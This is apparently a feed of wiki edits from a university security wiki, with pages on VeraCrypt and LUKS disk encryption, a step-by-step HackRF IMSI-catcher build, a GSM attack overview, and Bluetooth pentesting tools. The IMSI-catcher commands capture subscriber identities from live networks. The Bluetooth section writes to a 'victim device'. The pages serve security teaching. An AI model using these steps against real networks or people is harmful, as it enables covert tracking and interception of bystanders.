Keyfile path [none]: ./Example_Keyfile.png&lt;br /&gt;
Keyfile path [finish]: [ENTER]&lt;br /&gt;
Type at least 320 randomly chosen characters and then press Enter: [ENTER]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount container ===&lt;br /&gt;
&lt;br /&gt;
Simply mount VeraCrypt container via text user interface &amp;lt;code&amp;gt;-t, --text&amp;lt;/code&amp;gt;, which is enabled by default. Or mount in a single command referencing to &amp;lt;code&amp;gt;-h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt $ENC_CONTAINER_FILE $MOUNT_POINT &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==== Example: Mount FILENAME.hc outter container ====&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Password: OUTTER_PW&lt;br /&gt;
PIM: [ENTER]&lt;br /&gt;
Keyfile [none]: [ENTER]&lt;br /&gt;
Protect hidden volume? [No]: [ENTER]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Example: Mount FILENAME.hc hidden container ====&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Password: HIDDEN_PW&lt;br /&gt;
PIM: 50000&lt;br /&gt;
Keyfile [none]: Keyfile.png&lt;br /&gt;
Protect hidden volume? [No]: [ENTER]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== List Mounted Container ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt -l&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
=== Dismount Container ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Specific&lt;br /&gt;
veracrypt -d $MOUNTPOINT&lt;br /&gt;
# All&lt;br /&gt;
veracrypt -d&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/veracrypt/VeraCrypt&lt;br /&gt;
* https://www.veracrypt.fr/en/Downloads.html&lt;br /&gt;
* https://www.veracrypt.fr/en/Digital%20Signatures.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Basics]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_dm-crypt&amp;diff=14639</id>
		<title>Block Device Encryption - dm-crypt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_dm-crypt&amp;diff=14639"/>
		<updated>2024-03-12T18:27:23Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This document describes for Linux-based systems, how to encrypt a block device using LUKS/dm-Crypt/cryptsetup and automatically unlock and map the encrypted block device on boot.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Linux-based Operating System (&#039;&#039;Here: Ubuntu 20.04 LTS&#039;&#039;)&lt;br /&gt;
* Plain dm-crypt and LUKS encrypted volumes manager installed (&amp;lt;code&amp;gt;apt install cryptsetup&amp;lt;/code&amp;gt;) (&#039;&#039;Here: v2.2.2&#039;&#039;)&lt;br /&gt;
* Block device (&#039;&#039;e.g. partition&#039;&#039;) that is unmapped and ready to encrypt. (&#039;&#039;Any content will be lost!&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
== TL;DR ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Encrypt block device&lt;br /&gt;
sudo cryptsetup luksFormat $BLOCK_DEVICE&lt;br /&gt;
# Generate a random keyfile&lt;br /&gt;
sudo dd if=/dev/urandom bs=256 count=1 of=$KEYFILE&lt;br /&gt;
# Add keyfile to the LUKS header key store&lt;br /&gt;
sudo cryptsetup luksAddKey $BLOCK_DEVICE $KEYFILE&lt;br /&gt;
# Unlock and map the encrypted device on boot via UUID (See: man crypttab)&lt;br /&gt;
UUID=`sudo cryptsetup luksUUID $BLOCK_DEVICE`&lt;br /&gt;
echo &amp;quot;$MAPPER_NAME UUID=$UUID $KEYFILE&amp;quot; | sudo tee -a /etc/crypttab&lt;br /&gt;
# Dump the header information of a LUKS device.&lt;br /&gt;
sudo cryptsetup luksDump $BLOCK_DEVICE&lt;br /&gt;
&lt;br /&gt;
# USE IT.&lt;br /&gt;
man cryptsetup&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Encryption ==&lt;br /&gt;
&lt;br /&gt;
Initializes a LUKS partition and sets the initial passphrase (&#039;&#039;for key-slot 0&#039;&#039;). LUKS2 is used by default. All available algorithms (&#039;&#039;cipher, hash&#039;&#039;) are listed in &amp;lt;code&amp;gt;/proc/crypto&amp;lt;/code&amp;gt; or use &amp;lt;code&amp;gt;cryptsetup benchmark&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# CHANGE THIS VARIABLE TO THE APPROPRIATE BLOCK DEVICE&lt;br /&gt;
BLOCK_DEVICE=&amp;quot;/dev/sdb1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Encrypt block device (Here: using defaults)&lt;br /&gt;
sudo cryptsetup luksFormat $BLOCK_DEVICE&lt;br /&gt;
&lt;br /&gt;
# Verify: Dump the header information&lt;br /&gt;
sudo cryptsetup luksDump $BLOCK_DEVICE&lt;br /&gt;
# Verify: Inspect device content&lt;br /&gt;
sudo hexdump -C $BLOCK_DEVICE | less&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Additional &amp;lt;code&amp;gt;luksFormat&amp;lt;/code&amp;gt; parameters&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;--cypher&amp;lt;/code&amp;gt;: (Default: &#039;&#039;&#039;aes-xts-plain64&#039;&#039;&#039;)&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--key-size&amp;lt;/code&amp;gt;: (Default: &#039;&#039;&#039;256&#039;&#039;&#039;)&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--hash&amp;lt;/code&amp;gt;: Algorithm used to derive the key. (Default: &#039;&#039;&#039;sha256&#039;&#039;&#039;)&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--time&amp;lt;/code&amp;gt;: The time used for passphrase processing. (Default: &#039;&#039;&#039;2000&#039;&#039;&#039;) milliseconds.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--use-random/--use-urandom&amp;lt;/code&amp;gt;: Used RNG. (Default: &#039;&#039;&#039;--use-urandom&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
== Auto-Mount during Boot ==&lt;br /&gt;
&lt;br /&gt;
In the following a keyfile will be added to the LUKS header key store to use with &amp;lt;code&amp;gt;crypttab&amp;lt;/code&amp;gt; for automatic device unlocking and mapping at boot. The resulting mapped device can be added a filesystem via &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt; and automatically mounted using &amp;lt;code&amp;gt;fstab&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# CHANGE THIS VARIABLE TO A SAFE LOCATION TO STORE THE KEYFILE&lt;br /&gt;
KEYFILE=&amp;quot;/root/key.bin&amp;quot;&lt;br /&gt;
# CHANGE THIS VARIABLE TO THE NAME OF THE DEVICE MAPPER MOUNTPOINT&lt;br /&gt;
MAPPER_NAME=&amp;quot;enc_dev&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Generate a random Keyfil and limit access&lt;br /&gt;
sudo dd if=/dev/urandom bs=32 count=1 of=$KEYFILE&lt;br /&gt;
sudo chmod 400 $KEYFILE&lt;br /&gt;
&lt;br /&gt;
# Add keyfile to the LUKS key storage (max. 8)&lt;br /&gt;
sudo cryptsetup luksAddKey $BLOCK_DEVICE $KEYFILE&lt;br /&gt;
# Remove: sudo cryptsetup luksRemoveKey $BLOCK_DEVICE&lt;br /&gt;
# The passphrase (aka. key-slot 0) remains as backup key&lt;br /&gt;
&lt;br /&gt;
# The crypttab file describes encrypted block devices that are set up during system boot.&lt;br /&gt;
# Format: volume-name encrypted-device key-file options&lt;br /&gt;
UUID=`sudo cryptsetup luksUUID $BLOCK_DEVICE`&lt;br /&gt;
echo &amp;quot;$MAPPER_NAME UUID=$UUID $KEYFILE&amp;quot; | sudo tee -a /etc/crypttab&lt;br /&gt;
&lt;br /&gt;
# Reboot. Then Verify.&lt;br /&gt;
lsblk &amp;quot;/dev/mapper/$MAPPER_NAME&amp;quot;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://gitlab.com/cryptsetup/cryptsetup/&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Dm-crypt/Drive_preparation&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Dm-crypt/Device_encryption&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Dm-crypt/System_configuration#crypttab&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Basics]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=GSM_IMSI-Catcher&amp;diff=14638</id>
		<title>GSM IMSI-Catcher</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=GSM_IMSI-Catcher&amp;diff=14638"/>
		<updated>2024-03-12T18:25:34Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article explains how to build an GSM IMSI-Catcher with the SDR called HackRF One.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 20.04 LTS (Focal Fossa)!&lt;br /&gt;
* Packages: git, Wireshark&lt;br /&gt;
* SDR HackRF One&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Installation of the necessary tools ===&lt;br /&gt;
(Do not use any other OS than Ubuntu 20.04 LTS (Focal Fossa)!!!)&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 git clone https://github.com/Oros42/IMSI-catcher.git&lt;br /&gt;
 cd IMSI-catcher&lt;br /&gt;
&lt;br /&gt;
 sudo apt install python3-numpy python3-scipy python3-scapy&lt;br /&gt;
&lt;br /&gt;
 sudo apt-get install -y \&lt;br /&gt;
    cmake \&lt;br /&gt;
    autoconf \&lt;br /&gt;
    libtool \&lt;br /&gt;
    pkg-config \&lt;br /&gt;
    build-essential \&lt;br /&gt;
    python-docutils \&lt;br /&gt;
    libcppunit-dev \&lt;br /&gt;
    swig \&lt;br /&gt;
    doxygen \&lt;br /&gt;
    liblog4cpp5-dev \&lt;br /&gt;
    gnuradio-dev \&lt;br /&gt;
    gr-osmosdr \&lt;br /&gt;
    libosmocore-dev \&lt;br /&gt;
    liborc-0.4-dev \&lt;br /&gt;
    swig&lt;br /&gt;
&lt;br /&gt;
 git clone -b maint-3.8 https://github.com/velichkov/gr-gsm.git&lt;br /&gt;
&lt;br /&gt;
 cd gr-gsm&lt;br /&gt;
 mkdir build&lt;br /&gt;
 cd build&lt;br /&gt;
 cmake ..&lt;br /&gt;
 make -j 4&lt;br /&gt;
 sudo make install&lt;br /&gt;
 sudo ldconfig&lt;br /&gt;
 echo &#039;export PYTHONPATH=/usr/local/lib/python3/dist-packages/:$PYTHONPATH&#039; &amp;gt;&amp;gt; ~/.bashrc&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== IMSI-catching in action ===&lt;br /&gt;
&lt;br /&gt;
Now that all necessary tools are installed, first thing to do is connect the HackRF One to the Computer, in case you are using a VM ensure that you mounted your USB device to the VM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It is recommended do start each tool in separate terminals!&lt;br /&gt;
&lt;br /&gt;
First start&lt;br /&gt;
&lt;br /&gt;
 grgsm_scanner&lt;br /&gt;
[[File:IMSI-Catcher1.png]]&lt;br /&gt;
&lt;br /&gt;
grgsm_scanner is used to perform a GSM frequency channel scan to identify active frequencies in a given area.&lt;br /&gt;
This should now list the active frequencies that can be received at the current location.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then start grgsm_livemon with one of the frequencies that has just been discovered in the previous step.&lt;br /&gt;
&lt;br /&gt;
 grgsm_livemon -f &amp;lt;Frequency scanned with grgsm_scanner&amp;gt;&lt;br /&gt;
[[File:IMSI-Catcher2.png]]&lt;br /&gt;
&lt;br /&gt;
grgsm_livemon is used for capturing and analyzing GSM signals in a specific frequency band using a software-defined radio (SDR) in this case the HackRF One.&lt;br /&gt;
This should now open a GUI displaying the scanner and the terminal should show incoming Hex values received by the SDR.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next up is the simple_IMSI-catcher.py this is a handy script which takes the incoming radio stream from grgsm_livemon and decodes and extracts the most important information.&lt;br /&gt;
 sudo python3 simple_IMSI-catcher.py -s&lt;br /&gt;
[[File:IMSI-Catcher4.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It list all the information in a nicely formatted table. This could take a minute until something is displayed. If there are issues with the scrip not displaying anything simple restart &lt;br /&gt;
a) the script &lt;br /&gt;
b) livemon &lt;br /&gt;
c) both &lt;br /&gt;
or pick an other frequency.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is one extra step that can be done to display extra information, for that enter:&lt;br /&gt;
 sudo wireshark -k -Y &#039;!icmp &amp;amp;&amp;amp; gsmtap&#039; -i lo&lt;br /&gt;
&lt;br /&gt;
[[File:IMSI-Catcher3.png]]&lt;br /&gt;
&lt;br /&gt;
This command captures GSM TAP protocol packets on the loopback interface using Wireshark, excluding ICMP packets. The GSMTAP protocol is a format used for capturing GSM protocol messages over the air interface. It is a simple protocol that encapsulates GSM protocol messages inside a UDP packet.&lt;br /&gt;
&lt;br /&gt;
Now it should list all gsmtap protocol packets in real time giving more information about the transmission over the connected SDR.&lt;br /&gt;
&lt;br /&gt;
=== Glossary ===&lt;br /&gt;
&lt;br /&gt;
ARFCN: The Absolute Radio Frequency Channel Number, which is used to identify the specific frequency used by a particular channel. This number is assigned by the network operator and is used to differentiate between different channels.&lt;br /&gt;
&lt;br /&gt;
Freq: The center frequency used by the channel, measured in megahertz (MHz).&lt;br /&gt;
&lt;br /&gt;
CID: The Cell IDentifier, which is a unique identifier for the specific cell (or base station) that is providing service on this channel. A value of 0 indicates that the CID is not available or not applicable.&lt;br /&gt;
&lt;br /&gt;
LAC: Location Area Code, is the unique number given to each location area within the network. The served area of a cellular radio access network is usually divided into location areas, consisting of one or several radio cells. The LAC is used as a unique reference for the location of a mobile subscriber. This code is necessary to address the subscriber in the case of an incoming call.&lt;br /&gt;
&lt;br /&gt;
MCC: Mobile Country Code, a unique identifier identifying the home country of a Mobile network operator. It is a three-digit identification of the country. The MCC is especially relevant for determining the country of inbound roamers.&lt;br /&gt;
&lt;br /&gt;
MNC: The Mobile Network Code, which is a two- or three-digit code used to identify the specific network operator within the country identified by the MCC.&lt;br /&gt;
&lt;br /&gt;
Pwr: The signal strength or power level of the channel, measured in decibels relative to one milliwatt (dBm). The less negative a value indicates the stronger the signal.&lt;br /&gt;
&lt;br /&gt;
IMSI: An IMSI (International Mobile Subscriber Identity) is a unique identification number assigned to a mobile device&#039;s SIM card, and it does not contain any information about the user&#039;s personal identity, such as name or address. However, mobile network operators use IMSI numbers to associate a mobile device with a subscriber&#039;s account, which can contain personal information such as the subscriber&#039;s name, billing address, and payment details. It is used to identify and authenticate the user on the mobile network.&lt;br /&gt;
&lt;br /&gt;
TMSI: TMSI stands for Temporary Mobile Subscriber Identity. It is a temporary identifier assigned to a mobile device by a cellular network. The TMSI is used as a substitute for the IMSI (International Mobile Subscriber Identity) in order to protect the privacy of the user. When a mobile device first connects to a cellular network, it sends its IMSI to the network, which assigns a TMSI to the device. The TMSI is then used instead of the IMSI for subsequent communications between the device and the network. This helps to prevent eavesdropping and other security threats by making it more difficult to track a specific device. The TMSI is updated periodically by the network, and can also be updated by the device if it detects that its TMSI has been compromised.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[HackRF One Software Defined Radio (SDR)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
https://github.com/velichkov/gr-gsm.git&lt;br /&gt;
https://github.com/Oros42/IMSI-catcher&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=GSM_Pentesting&amp;diff=14637</id>
		<title>GSM Pentesting</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=GSM_Pentesting&amp;diff=14637"/>
		<updated>2024-03-12T18:24:56Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article describes two possible attack vectors in the GSM protocol. It is actually possible to do these attacks with open-source solutions. The only problem is the legal and technical situation, whether there is a way to keep the output power so low that only our devices connect to the base station, otherwise legal consequences follow if other devices and Signals are involved.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Fake Basesstation &amp;amp; IMSI-Catcher ===&lt;br /&gt;
&lt;br /&gt;
The problem with GSM is the lack of authentication between the base station (BTS) and the end device. This enables a “man in the middle” attack to be carried out with a “rogue base station”/IMSI catcher. To do this, the system must be placed near the person to be spied on. By increasing the transmission power, the ME located in the vicinity are made to connect to this station of the attacker If the IMSI number of the person to be intercepted is not yet known, it must first be identified from the multitude of telephone calls made in the area. Professional devices such as the GA-901 from “Rohde &amp;amp; Schwarz” can therefore record several channels at the same time. This means that uninvolved people can also be eavesdropped. With this method, only outgoing phone calls can be eavesdropped. The outgoing call is forwarded to a &amp;quot;real&amp;quot; BTS. The so-called &amp;quot;MITM impersonation&amp;quot; uses the &amp;quot;Dynamic SIM cloning&amp;quot; method to position oneself in the uplink and also in the downlink channel between the communication partners. An &amp;quot;IMSI request&amp;quot; prompts the Mobile Equipment to disclose this unique number, which rarely occurs in normal operation. This allows movement profiles to be created, although this is to be prevented by the TMSI.&lt;br /&gt;
&lt;br /&gt;
IMSI catchers are mainly used by law enforcement agencies and intelligence services to determine the locations and to create a movement profile of certain people.&lt;br /&gt;
&lt;br /&gt;
=== Encryption ===&lt;br /&gt;
&lt;br /&gt;
The encryption algorithm A5 is used on the air interface between the ME and the BTS. When A5 / 1 and A5 / 2 were developed in the late 1980s, the decision was made to use &amp;quot;Security By Obscurity&amp;quot;, which means that the security of the process depends on the algorithm being kept secret. By 1999, both stream cipher methods were investigated by Marc Briceno and other scientists using reverse engineering and finally published.&lt;br /&gt;
&lt;br /&gt;
An attack on A5 / 1 was carried out by A. Biryukov, A. Shamir, and D. Wagner in 2000. The complexity of the original 2^64 has been reduced to 2^38 and 2^48 respectively. In the meantime, “Rainbow Tables” are used to decrypt the A5 / 1. This technology shortens the computational effort in order to calculate back the correct session key, with which it is then possible to passively listen in on phone calls in real time. A modified cell phone of an older design is completely sufficient for this. A5 / 1 is used in Europe and the USA. The much weaker A5 / 2 was developed for countries where strong encryption is prohibited. According to the standardization committee, this algorithm has not been allowed to be used since 2007.&lt;br /&gt;
&lt;br /&gt;
With UMTS, only A5 / 3 is used to encrypt the radio connection. Also known as KASUMI, the procedure was published in 2002. However, more security is only created by the increased complexity of the block cipher procedure. In the GSM network sections between BTS, BSC and MSC, the data is not encrypted and is transmitted via radio link if required, which means that passive eavesdropping or the interception of the session key is possible at these points.&lt;br /&gt;
An up-to-date overview of the security level of those cellular networks in use:  &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Link: https://gsmmap.org&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The website shows Osmocom-compatible mobile phones and laptops, which are visualized on a map.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://de.wikipedia.org/wiki/A5_(Algorithmus)&lt;br /&gt;
* https://it-forensik.fiw.hs-wismar.de/index.php/IMSI-Catcher&lt;br /&gt;
* https://www.tarife.at/wissen/imsi-catcher &lt;br /&gt;
* https://www.heise.de/newsticker/meldung/26C3-GSM-Hacken-leicht-gemacht-892911.html &lt;br /&gt;
* https://www.webcitation.org/5rgp2JlUf &lt;br /&gt;
* https://gsmmap.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_Pentesting_Tools_(HW/SW)&amp;diff=14636</id>
		<title>Bluetooth Pentesting Tools (HW/SW)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_Pentesting_Tools_(HW/SW)&amp;diff=14636"/>
		<updated>2024-03-12T18:24:20Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article describes various tools for bluetooth penetration testing and aims to provide an overview to choose the right tool for a use case.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Kali Linux amd64 2019.2&lt;br /&gt;
* Packages: Individual shown for each tool &lt;br /&gt;
&lt;br /&gt;
In order to use hardware pentesting devices a dedicated installation of kali linux is recommended but it is also possible to use hypervisors which are capable of passing USB devices from the host- to the guestsystem e.g. VMWare Workstation or the free hypervisor VirtualBox. &lt;br /&gt;
&lt;br /&gt;
== Information gathering ==&lt;br /&gt;
&lt;br /&gt;
The offical linux bluetooth protocol stack BlueZ is already installed on kali linux but can be installed on other linux maschines with:&lt;br /&gt;
&lt;br /&gt;
 apt install -y bluez bluez-utils&lt;br /&gt;
 systemctl start bluetooth.service&lt;br /&gt;
 systemctl status bluetooth.service&lt;br /&gt;
&lt;br /&gt;
[[File:Bluetoothservice.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== hcitool === &lt;br /&gt;
&lt;br /&gt;
To start with penetration testing we need to gather information about our environment, for this purpose scan for available bluetooth devices with the included packages &#039;hcitool&#039; or &#039;bluetoothctl&#039;.&lt;br /&gt;
&lt;br /&gt;
First check if your bluetooth device is available:&lt;br /&gt;
&lt;br /&gt;
 hciconfig&lt;br /&gt;
&lt;br /&gt;
[[File:Hciconfig.PNG]]&lt;br /&gt;
&lt;br /&gt;
Scan for BR/EDR Bluetooth devices with hcitool:&lt;br /&gt;
&lt;br /&gt;
 hcitool scan&lt;br /&gt;
&lt;br /&gt;
[[File:Scanbr.PNG]]&lt;br /&gt;
&lt;br /&gt;
In order to scan for BLE devices use:&lt;br /&gt;
&lt;br /&gt;
 hcitool lescan&lt;br /&gt;
&lt;br /&gt;
=== bluetoothctl === &lt;br /&gt;
&lt;br /&gt;
Alternatively you can use bluetoothctl which is also included in the bluez-utils package:&lt;br /&gt;
&lt;br /&gt;
[[File:Btctl.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== bettercap ===&lt;br /&gt;
&lt;br /&gt;
This Software is described in the [[Bettercap]] Documentation.&lt;br /&gt;
&lt;br /&gt;
=== bluelog ===&lt;br /&gt;
&lt;br /&gt;
Another great tool for bluetooth device discovery is &#039;bluelog&#039;. It is extremly lightweight and can be automated for background usage without user intervention. Bluelog is already preinstalled on kali linux but can be installed with:&lt;br /&gt;
&lt;br /&gt;
 apt install -y bluelog&lt;br /&gt;
&lt;br /&gt;
To start scanning for bluetooth devices use:&lt;br /&gt;
&lt;br /&gt;
 bluelog -nmtc&lt;br /&gt;
&lt;br /&gt;
(n=log device names;m=log manufacturer;t=log timestamps of discovery;c=log device class)&lt;br /&gt;
&lt;br /&gt;
[[File:Bluelog.PNG]]&lt;br /&gt;
&lt;br /&gt;
== Capturing bluetooth traffic ==&lt;br /&gt;
&lt;br /&gt;
=== btmon === &lt;br /&gt;
&lt;br /&gt;
With the preinstalled package &#039;btmon&#039; it is possible to capture traffic between the HCI and the controller:&lt;br /&gt;
&lt;br /&gt;
 btmon --write ~/Documents/bttraffic.snoop&lt;br /&gt;
&lt;br /&gt;
These files can be viewed and analysed with &#039;Wireshark&#039; which is also preinstalled on kali linux. &lt;br /&gt;
&lt;br /&gt;
=== Wireshark === &lt;br /&gt;
&lt;br /&gt;
Alternatively you can capture bluetooth traffic directly with Wireshark. Start Wireshark with...&lt;br /&gt;
&lt;br /&gt;
 wireshark -w ~/Documents/bttraffic.snoop&lt;br /&gt;
&lt;br /&gt;
...and select your bluetooth interface e.g. bluetooth0 or bluetooth1.&lt;br /&gt;
&lt;br /&gt;
[[File:Wiresharkhciscan.PNG]]&lt;br /&gt;
&lt;br /&gt;
== Bluetooth Pentesting Software ==&lt;br /&gt;
&lt;br /&gt;
In the following chapter we will present some software pentesting tools which are used for ethical bluetooth device hacking.&lt;br /&gt;
&lt;br /&gt;
=== BlueMaho ===&lt;br /&gt;
&lt;br /&gt;
BlueMaho is a tool suite for bluetooth device pentesting and provides various exploits. It is written in python and uses wxPython. The feature set includes: scanning, tracking, alerts on new devices or targeted devices, sending files or changing BT values like the BD_ADDR. &lt;br /&gt;
&lt;br /&gt;
Although it is still listed in the kali linux tool list, it has to be manually installed:&lt;br /&gt;
&lt;br /&gt;
 apt install autoconf build-essential build-dep git python-wxtools &lt;br /&gt;
 git clone https://github.com/zenware/bluemaho&lt;br /&gt;
 cd bluemaho/config&lt;br /&gt;
 ./build.sh&lt;br /&gt;
&lt;br /&gt;
In order to run the GUI use: &lt;br /&gt;
&lt;br /&gt;
 ./bluemaho.py&lt;br /&gt;
&lt;br /&gt;
[[File:Bluemaho.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== GATT Tool === &lt;br /&gt;
&lt;br /&gt;
Before you can start using the GATT Tool you need to know the Bluetooth Address of the victim device. For gathering this information you can use the hcitool, which is described above.&lt;br /&gt;
&lt;br /&gt;
The GATT Tool has a powerful interactive mode. During this mode the devices stay connected and you can use more than one handle sequentially. &lt;br /&gt;
&lt;br /&gt;
 sudo gatttool -I &amp;lt;Bluetooth interface&amp;gt; -b &amp;lt;BD_ADDR&amp;gt;&lt;br /&gt;
 connect&lt;br /&gt;
&lt;br /&gt;
To get the name of your Bluetooth interfaces use hciconfig, which is described above.&lt;br /&gt;
&lt;br /&gt;
The Interactive mode also allows to list the characteristics of the connected device and control them.&lt;br /&gt;
&lt;br /&gt;
  characteristics&lt;br /&gt;
&lt;br /&gt;
Depending on the Privileges you can Read, Write characteristics of the device. &lt;br /&gt;
  &lt;br /&gt;
  Read:&lt;br /&gt;
  char-read-hnd &amp;lt;handle&amp;gt;&lt;br /&gt;
    &lt;br /&gt;
  Write:&lt;br /&gt;
  char-write-req &amp;lt;handle&amp;gt; &amp;lt;write value&amp;gt;&lt;br /&gt;
  or&lt;br /&gt;
  char-write-cmd &amp;lt;handle&amp;gt; &amp;lt;write value&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Privileges are described in the following graph&lt;br /&gt;
&lt;br /&gt;
[[File:CharacterProperties.png| 600px]]&lt;br /&gt;
&lt;br /&gt;
An example of an guided exploit can be found at the [[Mipow Playbulb: Bluetooth Connection Sniffing]] documentation&lt;br /&gt;
&lt;br /&gt;
=== Bluepot ===&lt;br /&gt;
&lt;br /&gt;
Bluepot is a Bluetooth Honeypot written in Java, it is designed to accept and store any malware sent to it and interact with common Bluetooth attacks. The system also allows monitoring of attacks via a graphical user interface that provides graphs, lists, a dashboard and further detailed analysis from log files.&lt;br /&gt;
&lt;br /&gt;
In order to install bluepot use following commands:&lt;br /&gt;
&lt;br /&gt;
 wget https://github.com/andrewmichaelsmith/bluepot/raw/master/bin/bluepot-0.1.tar.gz&lt;br /&gt;
 tar xfz bluepot-0.1.tar.gz&lt;br /&gt;
 java -jar bluepot/BluePot-0.1.jar&lt;br /&gt;
&lt;br /&gt;
[[File:Bluepot.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== spooftooph === &lt;br /&gt;
&lt;br /&gt;
